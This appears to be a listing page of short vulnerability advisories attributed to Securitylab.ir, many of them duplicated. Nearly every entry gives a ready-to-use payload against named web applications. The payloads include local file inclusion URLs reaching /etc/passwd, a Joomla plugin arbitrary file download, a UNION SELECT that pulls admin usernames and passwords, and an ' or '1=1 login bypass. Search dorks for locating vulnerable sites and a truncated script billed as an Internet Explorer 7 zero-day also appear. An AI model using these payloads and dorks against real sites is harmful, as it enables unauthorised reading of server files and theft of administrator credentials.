Internet Explorer 7.0 0day Vulnerability

Securitylab.ir Founded By: Unknown Published By: K4mr4nstatyahoodotcom Special Thanks: N.S.T Security Team Red Dragon & Securitylab.ir script language="javascript" ifnavigator.userAgent.toLowerCase.indexOf"msie 7"==-1location.replace"about:blank"; function sleepmilliseconds var start=new...

Internet Explorer 7.0 0day Vulnerability

No description provided by source. Founded By: Unknown Published By: K4mr4nstatyahoodotcom Special Thanks: N.S.T Security Team Red Dragon & Securitylab.ir script language="javascript" ifnavigator.userAgent.toLowerCase.indexOf"msie 7"==-1location.replace"about:blank"; function sleepmilliseconds va...

Address Book Script 1.9 Local File Inclusion

Securitylab.ir Application Info: Name: Address Book Script Version: 1.9 Vendor: http://www.phpkobo.com/scripts/AB201109/AB201109.zip Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability: http://site.com/codelib/cfg/common.inc.php?LANGCODE=../../../../../../etc/passwd%00...

Short URL 1.01 - Local File Inclusion

Securitylab.ir Application Info: Name: Short URL Version: 1.01 Vendor: http://www.phpkobo.com/shorturl.php Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability: http://site.com/staff/app/common.inc.php?LANGCODE=../../../../../../../etc/passwd%00 Discoverd By: Pouya Daneshmand...

Free Real Estate Contact Form 1.09 - Local File Inclusion

Securitylab.ir Application Info: Name: Free Real Estate Contact Form Version: 1.09 Vendor: http://www.phpkobo.com/realestatecontact.php Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability: http://site.com/codelib/sys/common.inc.php?LANGCODE=../../../../../../../etc/passwd%00...

Free Real Estate Contact Form 1.09 Local File Inclusion

Securitylab.ir Application Info: Name: Free Real Estate Contact Form Version: 1.09 Vendor: http://www.phpkobo.com/realestatecontact.php Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability: http://site.com/codelib/sys/common.inc.php?LANGCODE=../../../../../../../etc/passwd%00...

Short URL 1.01 - Local File Inclusion

Short URL 1.01 - Local File Inclusion Securitylab.ir Application Info: Name: Short URL Version: 1.01 Vendor: http://www.phpkobo.com/shorturl.php Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability:...

Address Book Script 1.09 - Local File Inclusion

Securitylab.ir Application Info: Name: Address Book Script Version: 1.9 Vendor: http://www.phpkobo.com/addressbook.php Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability: http://site.com/codelib/cfg/common.inc.php?LANGCODE=../../../../../../etc/passwd%00 Discoverd By: Pouya...

Address Book Script 1.09 - Local File Inclusion

Address Book Script 1.09 - Local File Inclusion Securitylab.ir Application Info: Name: Address Book Script Version: 1.9 Vendor: http://www.phpkobo.com/addressbook.php Vulnerability Info: Type: Local File Inclusion Risk: Medium Vulnerability:...

Unfixed XSS vulnerability at highmail.aryanic.com

Security researcher Securitylab.ir, has submitted on 03/11/2010 a cross-site-scripting XSS vulnerability affecting highmail.aryanic.com, which at the time of submission ranked 167919 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 21/12/2011. I...

River CMS 1.0 SQL Injection

Securitylab.ir Application Info: Name: River CMS Version: 1.0 Vendor: http://rivercms.ir Vulnerability Info: Type: Sql Injection Risk: Medium Dork: "Powered By River CMS" Vulnerability: http://site.ir/admin/ Username: ' or '1=1 Password: ' or '1=1 Discoverd By: Pouya Daneshmand Website:...

Official Portal 2007 Cross Site Scripting / SQL Injection

Securitylab.ir Application Info: Name: Official Portal 2007 Vulnerability Info: Type: Sql Injection/XSS Risk: Medium Dork: "Official Portal 2007" Vulnerability: ======================= Sql Injection =======================...

Pixel Portal Sql Injection Vulnerability

Securitylab.ir Application Info: Name: Pixel Portal Vendor: http://www.pixelidea.ir Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.ir/productslistfa.asp?id=-1001+UNION+ALL+SELECT+1,2,3,4,5,6,7,username,password,10,11,12,13+Form+admin Discoverd By: Pouya Daneshmand...

Pixel Portal SQL Injection

Securitylab.ir Application Info: Name: Pixel Portal Vendor: http://www.pixelidea.ir Vulnerability Info: Type: Sql Injection Risk: Medium Vulnerability: http://site.ir/productslistfa.asp?id=-1001+UNION+ALL+SELECT+1,2,3,4,5,6,7,username,password,10,11,12,13+Form+admin Discoverd By: Pouya Daneshmand...

Joomla (Jw_allVideos) Remote File Download Vulnerability

Securitylab.ir Application Info: Name: Joomla jwallvideos Plugin Version: 1.0 Vulnerability Info: Type: Remote File Download Risk: Medium Vulnerability: http://site.com/plugins/content/jwallvideos/includes/download.php?file=./../.../file.php Discoverd By: Pouya Daneshmand Website:...

Joomla (Jw_allVideos) Remote File Download Vulnerability

No description provided by source. Securitylab.ir Application Info: Name: Joomla jwallvideos Plugin Version: 1.0 Vulnerability Info: Type: Remote File Download Risk: Medium Vulnerability: http://site.com/plugins/content/jwallvideos/includes/download.php?file=./../.../file.php Discoverd By: Pouya...

Joomla Jw_allVideos Remote File Download

Securitylab.ir Application Info: Name: Joomla jwallvideos Plugin Version: 1.0 Vulnerability Info: Type: Remote File Download Risk: Medium Vulnerability: http://site.com/plugins/content/jwallvideos/includes/download.php?file=./../.../file.php Discoverd By: Pouya Daneshmand Website:...

Joomla! Component Jw_allVideos - Arbitrary File Download

Joomla! Component JwallVideos - Arbitrary File Download Securitylab.ir Application Info: Name: Joomla jwallvideos Plugin Version: 1.0 Vulnerability Info: Type: Remote File Download Risk: Medium Vulnerability: http://site.com/plugins/content/jwallvideos/includes/download.php?file=./../.../file.php...

Joomla! Component Jw_allVideos - Arbitrary File Download

Securitylab.ir Application Info: Name: Joomla jwallvideos Plugin Version: 1.0 Vulnerability Info: Type: Remote File Download Risk: Medium Vulnerability: http://site.com/plugins/content/jwallvideos/includes/download.php?file=./../.../file.php Discoverd By: Pouya Daneshmand Website:...

Multiple Browsers - Address bar Characters

Multiple Browsers - Address bar Characters Securitylab.ir Application Info: Name: Internet Explorer Version: 8.0 Other tested browsers that also automatically convert "" to "/": - Firefox v3.6 - Google Chrome 4.0.249.78 36714 Vulnerability: IE address bar characters into a small feature My IE 8 o...